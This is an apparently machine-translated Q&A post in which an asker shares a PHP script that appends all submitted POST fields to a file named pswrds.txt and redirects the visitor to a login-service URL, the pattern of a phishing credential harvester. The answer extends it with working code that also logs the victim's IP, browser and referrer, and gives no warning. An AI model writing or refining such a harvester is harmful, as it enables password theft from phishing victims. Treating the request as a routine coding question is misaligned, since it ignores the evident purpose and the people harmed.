PHP将用户信息保存到txt文件

时间:2015-05-20 05:18:46

标签: php html text-files user-information-list

以下代码将某些信息保存到pswrds.txt:

NavigationService

如何获取代码以保存IP,用户代理和&引荐?

<?php

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");

    foreach($_POST as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, "\r\n");
    }

    fwrite($handle, "\r\n");
    fclose($handle);
    exit;

?>

1 个答案:

答案 0 :(得分:1)

您可以将$ _POST分配给本地范围内的变量,然后将所需的变量添加到数组中:

$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];

然后就像现在一样继续你的循环,但迭代$ post而不是$ _POST。

注意:您也应该自己停止对换行符进行硬编码,而是使用PHP_EOL。 http://php.net/manual/en/reserved.constants.php#constant.php-eol

<强>更新

<?php

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");

    $post = $_POST;
    $post['ip'] = $_SERVER['REMOTE_ADDR'];
    $post['browser'] = $_SERVER['HTTP_USER_AGENT'];
    $post['referrer'] = $_SERVER['HTTP_REFERER'];

    foreach($post as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, PHP_EOL);
    }

    fwrite($handle, PHP_EOL);
    fclose($handle);
    exit;

?>